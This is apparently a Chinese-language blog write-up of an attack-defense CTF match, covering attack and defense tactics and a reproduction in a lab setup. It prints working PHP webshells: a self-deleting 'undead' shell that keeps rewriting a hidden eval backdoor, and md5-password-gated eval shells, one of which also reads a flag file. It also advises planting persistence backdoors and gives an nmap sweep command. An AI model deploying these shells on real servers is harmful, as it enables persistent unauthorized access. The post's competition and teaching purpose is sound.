填坑,填坑,填坑。。。
文章还是写的那么烂…
前言:
时间过的很快啊,又是一年红帽,
相遇的时间很短暂,相约的时间却很长,
明年,你是否还会再来。
不bb了,步入正文,步入正文,
虽然比赛结果并不怎么好!!!
但是却学到了新技术,
还get到了很多好朋友。。
特别说明:
本次实验还原所用的环境为:Centos7+lnmp+web2
目录:
- 1. 进攻篇(web)
- 2. 防御篇
- 3. 关于不死马
- 4. 关于md5校验马
- 5. 一些技巧
- 扩展一:关于所有者权限(WWW)
- 扩展二:线下赛常见的上传getshell方式
- 扩展三:screen命令
- 扩展四:菜刀流量加密方式
- 总结
- 结束语
NO.1 进攻篇(web)
在调试机器之前发现有后台,
根据以往的经验,我先把自己后台密码(弱口令 admin/admin)改了,以免被别人getshell
PS:很多比赛后台都是弱口令
然后开始改其他队伍后台密码,改了十几二十多左右吧,后面发现并没有什么用,
会员头像上传,后台管理界面上传shell都试了,一直显示目录权限不足,然后放弃了,估计是主办方挖的坑吧!!!
PS:finecms5.2.0版本的貌似没有上传漏洞,5.0.9版本的有一个,可以参考一下这篇文章
https://blubiu.github.io/2017/10/2017强网杯线下AWD总结/
PS:这里的话在比赛的时候是不可以连外网的,最好准备一些编码解码工具,Google浏览器也可以进行部分编码的解码
然后比赛前5分钟就开始打了,被打的有点懵逼,
一直在做防御,就没怎么进攻了,
其实比赛之前也有去收集一些exp,poc什么的,
也有试去打,但是版本问题打不了,
上的waf抓到了传说中的神仙流量,但是只记录了GET,POST请求,请求路径都没有,然后也没看出个所以然来,
其实记录流量的脚本也有上,但是可能配置有点错误,没有运行起来,
比赛后跟其他队交流,也知道了一些漏洞,大多都是命令执行,
不过web1也有一个后台getshell,账号上是yunyunyun,密码admin(nginx日志上可以看到POST请求)
PS:这里主要还是以web2为主
目前代码还很弱,本菜无法分析一些漏洞,下面附上一个表哥漏洞分析文章
http://skysec.top/2018/05/27/2018RedHat-AD-Web/
进攻篇就先只能这样了,太菜了 (逃。。
NO.2 防御篇
PS:还是以web方向为主,pwn一脸懵逼!!!
感觉程序还是要走的(手动捂脸)
上来先改后台密码,改ssh密码等,
然后把源码down下来备份,方便审计,也防止down机(down机扣双倍分数),
再用D盾扫一圈源码,
PS:这次比赛刚down下源码就发现很多后门,都变跑马场了,dalao进攻速度也太快了
如有后门,上去服务器清除,
PS:后门保留,分析,可以用来进攻,因为大家环境都是一样的,然后再着重防守有后门的目录
这个CMS有注册界面可以进行账号注册,为避免对手利用建议关闭(第一届强网杯的时候就可以利用会员头像上传getshell)
关于上面老哥博客发现的一些漏洞
可以使用vi编辑命令去修改代码
或者注释掉有漏洞的代码
在不down机的情况下可以删除页面
补充:
可以直接删除有漏洞的那一段代码,
或者xftp上去修改
关于比赛中waf的使用
可以在公共配置文件里面包含,比如config.php ,system.php等
因为访问网页的时候首先经过的是公共配置文件,
有些漏洞不一定要通过主页,但是不管访问那个页面,都需要经过公共配置文件
NO.3 关于不死马
本次比赛被不死马打的防不胜防,
填坑继续…
本次模拟从不死马攻击到解决不死马
先扔一只马。。。
<?php
set_time_limit(0);
//设定一个程式所允许执行的秒数,如果到达限制的时间,程式将会传回错误,如果将秒数设为0,表示无时间上的限制。
ignore_user_abort(1);
//调用ignore_user_abort()函数声明即使客户机断开不终止脚本的执行。
unlink(__FILE__);
//删除自身
//file_put_contents(__FILE__,'');
while(1){
file_put_contents('/home/wwwroot/default/templates/.xiao2.php','<?php @eval($_POST[xiao2]);?>');
//在xxx目录写入一个名字为.xiao2.php的隐藏文件,内容为<?php @eval($_POST[xiao2]);?>
system('chmod 777 .xiao2.php');
//附加777权限
touch("/home/wwwroot/default/templates/.xiao2.php", mktime(20,15,1,11,17,2017));
usleep(100);
//每隔一秒运行一次
}
?>
Web2目录结构
随便一个能正常浏览的目录都可以,ssh登录后用xftp扔一只马(xiao.php)
然后用菜刀连接,
PS:扔马的好处是,维持自己的权限,在网站奔溃之后还可以进行操作,user不能操作的,马子可以补上这个缺口
然后通过菜刀上传不死马(no_die_shell.php)
可以看到不死马权限为www(所有者),,
PS:比赛中为www-data,,实际是一样的,,原谅本菜不能100%还原比赛环境
然后直接访问激活不死马
可以看到生成了一个.xiao2.php的隐藏一句话后门
尝试删除一:
直接rm -rf
删除失败
尝试删除二:
重启nginx
也失败,没权限
PS:比赛中为apache2,因为本菜还原所用的环境不同,比赛中如果是Apache的就把命令中nginx换成apache2就好了
删除三:
赛后跟其他师傅讨论,可以用www权限去关闭Apache(从根本上阻断shell的生成),然后就可以删除不死马了
那,试试呗!!!
嗯,没毛病,也是www权限(PS:菜刀上去权限一般是www),,
可以看到nginx虽然是root启动的,但是部分子进程为www权限
可以关闭
使用命令关闭(root权限运行程序是关不掉)
killall -HUP nginx
或者:
killall nginx
然后就拜拜了。。
PS:这里说明一下,杀死进程如果想再开启需要重启服务,线下普通用户是没有权限重启的,要重启只能让主办方重启了,不过要扣分
补充:
有表哥说使用 grep -i php 命令杀掉也可以删除不死马,
具体本菜也没试过,后面可以看看
除了杀死服务删除不死马之外,,还有一种方法
就是同样利用不死马这种机制无限生成内容不同的文件去覆盖他,(以毒攻毒)
也可以达到防御效果
杀死服务可能会导致down机,这样就没有这种烦恼了
PS:这种方式灭不死马最好不过了,上面杀死进程方法可能会导致服务器down机
NO.4 关于md5校验马
继续填坑。。
这次被种的马有点厉害了,,
不死,隐藏,md5加密,,
相比之前的普通一句话,这种更难被发现,更难查杀。。
放马
<?php error_reporting(0);
// 关闭错误报告
if (md5($_POST['pw'])==='21232f297a57a5a743894a0e4a801fc3')
// pw的明文密码为admin
{eval($_POST[cmd]);
}
?>
这种马设置了两个参数
首先判断pw的值是否为admin
正确的话就传cmd参数进去
当两个参数都正确时才能生效
这种马不仅可以当一句话使用,还可以执行命令。。
溜一只名字为rood.php的马
首先演示命令执行,读取phpinfo,走你!
PS:这里需要POST提交
命令执行whoami
get flag
菜刀连接方式:
方法一:
在配置里面把密码传进去,,密码输入里面把cmd参数传进去
方法二:
直接在密码输入里面把两种参数一起传进去
两种方法都可以连进去
再溜一只马
<?php error_reporting(0);
if(md5($_POST[a])==='21232f297a57a5a743894a0e4a801fc3')
{echo file_get_contents('/home/wwwroot/default/templates/flag.txt');
@eval($_POST[b]);}
?>
这只马跟之前的有点不太一样,多了一句读取flag
有点小蛇皮,,
它是为了防止一些函数被禁用的情况下也可以读你flag
之前本菜在搭建环境的时候就很多危险函数被禁用了,whoami都执行不了
这种马就是为了防止这种情况
走你
扔一只名字为rood3.php的马上去
即使不用b参数执行命令也可以读flag,
只要a参数密码正确就行了
当然也可以使用菜刀进行连接
NO.5 一些技巧
- 利用对手payload反打
PS:这个方法是跟一个朋友赛后一起讨论才知道的,很蛇皮
一上来就被种了这么多马,,泪奔
在缺乏进攻手段时,除了防御之外,利用对手流量打回去最好不过了,,
这里假设对手的木马为rood2.php
那么可以利用他,抓他的流量来查看攻击payload
先附上抓流量的脚本
<?php
/**
*/
error_reporting(0);
ini_set('display_errors', 'Off');
ini_set('allow_url_fopen', 'Off');
/**
* log
*/
function log_log()
{
/* waf conf */
$conf = array(
"log_info" => array(
"GET" => $_SERVER['REQUEST_URI'],
"POST" => $_POST,
"COOKIE" => $_COOKIE,
),
);
/* SESSION */
if (isset($_SESSION)) {
$conf['log_info']['SESSION'] = $_SESSION;
}
/* HTTP_HEADERS*/
global $headers;
foreach ($_SERVER as $key => $value) {
if ('HTTP_' == substr($key, 0, 5)) {
$headers[str_replace('_', '-', substr($key, 5))] = $value;
}
}
$conf['log_info']['HEADER'] = $headers;
/* the same ip to write the same file */
$ip = $_SERVER['REMOTE_ADDR'];
$f = fopen("/home/wwwroot/default/templates/$ip.log", "a");//修改!!!log写入地址
/* Requests time */
$t = date("H:i:s", $_SERVER['REQUEST_TIME']);
fwrite($f, "===========$t===========\n");
foreach ($conf['log_info'] as $key => $value) {
if (is_array($value)) {
$value = json_encode($value);
}
fwrite($f, "$key\t===>\t$value\n");
}
fwrite($f, "\n");
fclose($f);
}
log_log();
?>
然后把这个脚本改为他木马一样的名字,rood2.php,,把他的马删除,把流量脚本上传上去
假设攻击者跟往常一样去利用它,那么就会抓到他的流量
不管是菜刀连接流量,还是命令执行,还是普通GET访问,都会记录他的流量
还能看到他访问的一个URL
在比赛中,不只有木马可以利用,,如果有发现其他页面存在漏洞,一样可以用这个方式去抓payload
解码菜刀流量后,发现并没有密码什么的,
这里需要注意的是,如果解密后没有发现明显的密码什么的,
那么久需要多注意GET或者POST请求了,
密码可能是post和get的参数
听dalao说可能是因为,菜刀连接会发送两个或以上的包,流量没有抓完整,所以没有抓到重要部分
看来这个流量脚本还需要改进
PS:一般大佬都是使用脚本批量去跑flag,不会使用菜刀一个一个手动去看
- 纯HTML过check机制
每场比赛主办方都会用某种方式去判断选手的机器是否存活
比如:页面是否完整,响应是否为200,
如果不是就会判定为down机,每轮扣双倍分数
比赛开始我先用nmap扫了一圈赛场上的所有机器
命令为:
nmap -v -n -T5 -A -O -oX F:\\PentestBox\\bishai.xml 172.16.5.0/24
可以做进攻准备吧,探测一下信息
上图可以看到下面两个,分别是5.253和5.254的ip
猜测可能是主办方做chack的机器,
根据这个可以在web日志上查看访问记录
apache,nginx等日志,或者自己有抓到流量也行
然后就可以根据他chack了那些页面去调整了
下面是那位老哥博客截图
博客地址:
http://skysec.top/2018/05/27/2018RedHat-AD-Web/
如果在没有流量的情况下,,
可以采用模糊测试法
先删除一部分看看掉不掉分
然后再删除一部分看看
三四轮下来可能也能判断个大概了
今年这个比赛chack就很简单了
像去年强网杯就很蛇皮了,删除一个注册页面直接判断down机,,
这种情况只能去修复代码了
扩展一:关于所有者权限(WWW)
一般为文件的创建者,谁创建了该文件,就成为该文件的所有者
扩展二:线下赛常见的上传getshell方式
除了一下写文件漏洞外
线下一般有两种上传点,一个是头像上传,另外一个是编辑器上传
随便选一个文章修改
然后先查看编辑器版本(PS:这里的话这个版本的编辑器目前没有爆出上传漏洞,除非有0day,不过1.3.6版本的有上传截断漏洞)
如果有上传漏洞,那么一般在图片上传处抓包绕过上传等
扩展三:screen命令
在比赛中可能会使用到多个脚本,
比如什么文件监控脚本,抓流量脚本什么的
命令行界面没有图形化界面开多个终端那么方便
这个时候可以使用screen命令进行操作
可以参考这篇文章
http://man.linuxde.net/screen
直接输入screen命令,他会进入到一个新的窗口
然后就可以运行脚本了,比如python 123.py
如果想运行第二个脚本,可以按Ctrl +a +d 退回终端,不会影响123.py脚本的运行,
然后再起一个screen就可以了
PS:Linux系统默认是没有安装screen的,需要自己手动去安装,线下没网情况可以自带安装包过去
扩展四:菜刀流量加密方式
PHP:base64
asp:hex
jsp:无加密
总结
前期分好工,后续不必太僵硬,攻守可以互换
脚本工具分类准备好
权限维持很重要,能使用不死马,md5校验马就不要使用普通一句话(PS:密码不要太简单,容易被破解)
可以多创建两三个ssh账号,方便队友进行操作(PS:两个人共用一个账号容易掉)
拿到对方权限后,多在不同目录下放后门木马
删除对手木马的同时尽量留一份,不管是后期分析,反打也好
进攻,防御,信息收集都很重要,比如:端口,开放那些服务,服务器版本等等
防御的时候能关的则关,会员注册,端口等等(PS:去年世安有通过端口进攻的)
https://blubiu.github.io/2018/05/Web安全--端口详解/
密码尽量都改,ssh,后台密码等
准备好编码解码工具,线下常见的编码有:Unicode,URL,base64等(PS:Google浏览器控制台可以解部分编码)
流量日志很重要,多看,,本次比赛web1为nginx,web2为Apache
比赛过程更有意义
结束语
好像不知道要说点什么了,
也许,通关之后就要和NPC说拜拜了,
这里还得感谢一下各位dalao的耐心解答,
下次见。